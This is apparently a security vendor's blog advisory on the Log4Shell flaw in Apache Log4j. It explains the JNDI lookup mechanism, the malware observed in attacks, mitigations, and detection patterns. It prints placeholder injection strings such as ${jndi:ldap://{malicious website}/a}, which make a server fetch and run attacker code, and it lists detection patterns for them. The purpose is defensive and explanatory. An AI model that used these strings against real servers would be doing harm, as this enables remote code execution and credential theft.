ALPS blog

Patch Now: Apache Log4j Vulnerability Called Log4Shell Actively Exploited

A vulnerability in Apache Log4j, a widely used logging package for Java has been found. The vulnerability, which can allow an attacker to execute arbitrary code by sending crafted log messages, has been identified as CVE-2021-44228 and given the name Log4Shell. It was first reported privately to Apache on November 24 and was patched with version 2.15.0 of Log4j on December 9. It affects Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter. We have developed a Log4j vulnerability tester, a web-based tool that can help identify vulnerable server applications. A complete list of our solutions can be found in our solution page.

Whenever ${some_expression} can be found, Java lookup mechanisms find the value of expression and replaces it. Some of the lookups supported by Log4j are jndi, sys, env, java, lower, and upper. JNDI lookup supports protocols such as LDAP, RMI, DNS, and IIOP. As we discuss in the following, an attacker could inject JNDI expressions in logs.

For example, an attacker can do this via HTTP requests to a web server; notably, this is the most common attack vector that we have seen currently. The lookup method will then download and execute malicious.class placed in an attacker-controlled LDAP server. In its most basic form, all the attacker has to do is to plant the following expression in the logs:

${jndi:ldap://{malicious website}/a}

This will then run the malicious Java code located at http://{malicious website}/{malicious.class}.

Attacks in the wild

Currently, we have observed threat actors are dropping Mirai variants and Kinsing coinminers onto vulnerable servers. While some of the network traffic is simple, other threat actors are using obfuscation in the expression to hide their traffic. Examples of these can be found at the end of this entry.

Infection chain

Here is a possible infection flow from attacks that might exploit Log4Shell:

Possible Log4Shell infection chain
Figure 1. Possible Log4Shell infection chain

Initial access

This vulnerability is caused by the “lookup” mechanism in log4j 2.x. When calling the log method in the application, log4j 2.x will call the format method to check the specific characters ${ in each log. If these characters are present, the “lookup” function will be called to find strings after ${ and the said strings replaced with the real value found before. It has been observed that there are different forms of lookups, such as Java Naming Directory Interface (JNDI) lookup, which allow variables to be retrieved by JNDI.

Several JNDI lookup protocols are supported to allow remote lookups like LDAP and RMI. If the log contains the strings ${jndi:logging/context-name}, the method lookup will be called to find the string jndi:logging/context-name.

The attacker might then set a malicious Java class on an attacker-controlled LDAP server. By then, the “lookup” function will be used to execute the malicious class on the remote LDAP server.

Screenshot of the attacker controlled server
Fig 2. ${jndi:ldap://attacker-controlled-server}


Once the exploit succeeds, depending on the contents of the URL in the lookup, the server then interprets the string. This might then lead to arbitrary shell commands in various forms like Java Class, JavaScript, and Unix shell, among others.

Lateral movement

Cobeacon components, which can be used for lateral movement, were also seen to be downloaded. These can also be used for lateral movement and might then lead to a possible ransomware infection, as Cobeacon components have been observed in a variety of ransomware attacks.

Credential access

The vulnerability might also lead to the download of malware with credential-stealing capability, such as Kirabash.

Kirabash tries to steal credentials by exfiltrating the /etc/passwd and /etc/shadow files
Fig 3. Kirabash tries to steal credentials by exfiltrating the /etc/passwd and /etc/shadow files


Currently, the observed payloads are the Mirai botnet and Kinsing coinminer. The following are two of the possible impacts:

  • Resource hijacking. Coinminers will use up resources to mine cryptocurrency, while Mirai might use the affected systems as part of its botnet for activities such as distributed denial of service (DDoS) or spamming.
  • Network denial of service (DoS). Mirai can make use of the affected system to launch DDoS/DoS attacks as part of its routine.

Patch and Mitigation

Though the attacks in the wild are predominantly delivered over HTTP, the vulnerability could be exploited over any protocol wherein user input data is logged using Log4j. Hence, we highly recommend everyone to upgrade to Log4j 2.15.0. Meanwhile, until the vulnerable instances are patched, the vulnerability can be mitigated through the following steps :

  • For >=2.10, set system property log4j2.formatMsgNoLookups to true.
  • For >=2.10, set environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
  • For 2.0-beta9 to 2.10.0, remove JndiLookup.class from class path: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

One recommended best practice is to limit the egress traffic to internet from necessary ports only.

It is important to note that the aforementioned steps are most applicable in cases where Log4j is used directly. Other patches from applications that use Log4j indirectly might also be necessary. As the following list indicates, multiple software vendors have products that expose this vulnerability.

Detection guidance

Application logs should be monitored for the presence of these patterns or their obfuscated versions:

  • ${jndi:ldap:/}
  • ${jndi:ldaps:/}
  • ${jndi:rmi:/}
  • ${jndi:dns:/}
  • ${jndi:iiop:/}

Vulnerable products, applications, and plug-ins

Some of the packages identified using the vulnerable version of Log4j are listed here with detailed information from the vendor.

Product/Application/Plug-ins Description Details
RedHat Not all RedHat packages are vulnerable, but some of the Openshift and JBoss packages are affected.
Jenkins Although Jenkins Core is not affected by default, plug-ins installed in Jenkins can use the vulnerable version of Log4J. There is also a method to verify if any of the plug-ins installed uses Log4j. The second link contains a list of the vulnerable versions of the plug-in that have been found as of this writing.

Apache Solr Apache Solr releases prior to 7.4 are affected.
VMWare Multiple products are affected.
Citrix Investigation pending
Atlassian Atlassian is vulnerable if the default configuration was modified.
NetApp Multiple NetApp products are vulnerable.

Trend Micro Solutions

Vendor patches should be applied to mitigate possible attacks that might exploit Log4Shell. In addition, Trend Micro has released supplementary rules, filters, and detection protection that might help provide additional security against and detection of malicious components associated with such attacks.

We have created a quick web-based scanning tool for identifying server applications that might be affected by Log4Shell. Find it here: A full list of Trend Micro solutions can be found at our solution article. Watch our video to learn how Trend Micro™️ Vision One and Cloud One enable discovery, detection, and protection for Log4Shell.

MITRE ATT&CK Tactics and Techniques

MITRE ATT&CK Tactics and Techniques

Indicators of Compromise (IOCs)

A list of indicators can be found in this text file. We would like to acknowledge other researchers, including those from Talos Intelligence, for making some of the indicators listed publicly available.

Share on facebook
Share on twitter
Share on linkedin

Featured News